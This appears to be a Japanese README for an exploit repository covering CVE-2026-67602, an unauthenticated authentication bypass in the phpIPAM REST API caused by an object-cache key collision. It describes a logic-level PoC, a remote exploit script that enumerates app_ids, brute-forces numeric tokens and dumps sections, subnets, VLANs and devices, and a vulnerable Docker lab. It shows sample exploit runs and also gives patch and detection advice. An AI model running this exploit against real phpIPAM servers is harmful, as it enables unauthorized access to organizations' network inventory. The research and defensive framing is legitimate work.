
CVE-2026-67602のエクスプロイトとPoC。phpIPAM REST APIにおけるオブジェクトキャッシュのキー衝突による認証バイパスで、ロジックレベルのPoCとリモートエクスプロイトスクリプトを含む。
phpIPAM REST API における未認証の認証バイパス。オブジェクトキャッシュのキー衝突が原因で、API アプリの app_id を解決中にキャッシュされたデータベース行が、提供されたトークンがその行の数値 id と一致する場合に後続の app_code(トークン)チェックを満たしてしまいます。アプリの実際のシークレットは決して比較されません。
AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N)app_security = ssl_code の REST API アプリd29728f)| ファイル | 目的 |
|---|---|
poc_cache_collision.php | ロジックレベルの PoC。脆弱性のある(v1.8.1)および修正済み(1.8.2)の fetch_object/cache_check/cache_write 実装をそのままスタブ化されたデータベースに対して実行し、1回の HTTP リクエストの正確なフェッチシーケンスを再現します。phpIPAM のインストールは不要です。 |
exploit.py | 稼働中の phpIPAM < 1.8.2 インスタンスに対するリモートエクスプロイト:有効な app_id を列挙し(400 vs 401)、数値トークン(通常 id 1〜3)をブルートフォースし、オプションでセクション/サブネット/VLAN/デバイスをダンプします。 |
docker-compose.yml | 脆弱性のあるラボ環境:phpIPAM v1.8.1 + MariaDB、IPAM_TRUST_X_FORWARDED=true による平文 HTTP で、ssl_code アプリを X-Forwarded-Proto ヘッダー経由でテストできます。 |
$ php poc_cache_collision.php vulnerable
[1] fetch_object('api','app_id','client') -> row id=2, app_security=ssl_code
[2] fetch_object('api','app_code','2') (phpipam-token header) -> OBJECT (cache hit!)
[3] $app_id == $app_temp->app_id -> AUTHENTICATED
$ php poc_cache_collision.php fixed
[2] fetch_object('api','app_code','2') (phpipam-token header) -> false
[3] Response: 401 Unauthorized — token rejected
$ docker compose up -d
http://localhost:8080/ にアクセスし、インストーラー(http://localhost:8080/install/)に進み、Automatic database installation を選択し、MySQL ユーザー root / パスワード phpipamAdminRoot を入力します。admin / admin)し、プロンプトが表示されたら新しい管理者パスワードを設定します。app_id):clientエクスプロイトを実行します(--xfp フラグは、ラボが信頼する X-Forwarded-Proto を介して HTTPS チェックを満たします):
$ python3 exploit.py http://localhost:8080 --app-id client --xfp --dump
[*] Target: http://localhost:8080
[*] Brute-forcing numeric tokens (row ids) 1..64 for app_id='client'...
[+] AUTHENTICATION BYPASSED — phpipam-token: 1 is accepted
[+] The app's real 32-char app_code was never needed.
[+] GET /api/client/sections/ -> HTTP 200, 1 section(s) readable
[*] Dumping IPAM data...
d29728f)。ssl_code API アプリを無効化または再設定してください(他のセキュリティモードはこのキャッシュ衝突の影響を受けません)。phpipam-token ヘッダーを伴う /api/<app_id>/... へのリクエストを確認してください — 正規のトークンは 32 文字のランダム文字列であるため、数値トークンは高精度の IOC です。このリポジトリは、防御的な研究および許可されたペネトレーションテストのみを目的としています。所有しているシステム、またはテストの書面による許可を得たシステムに対してのみ実行してください。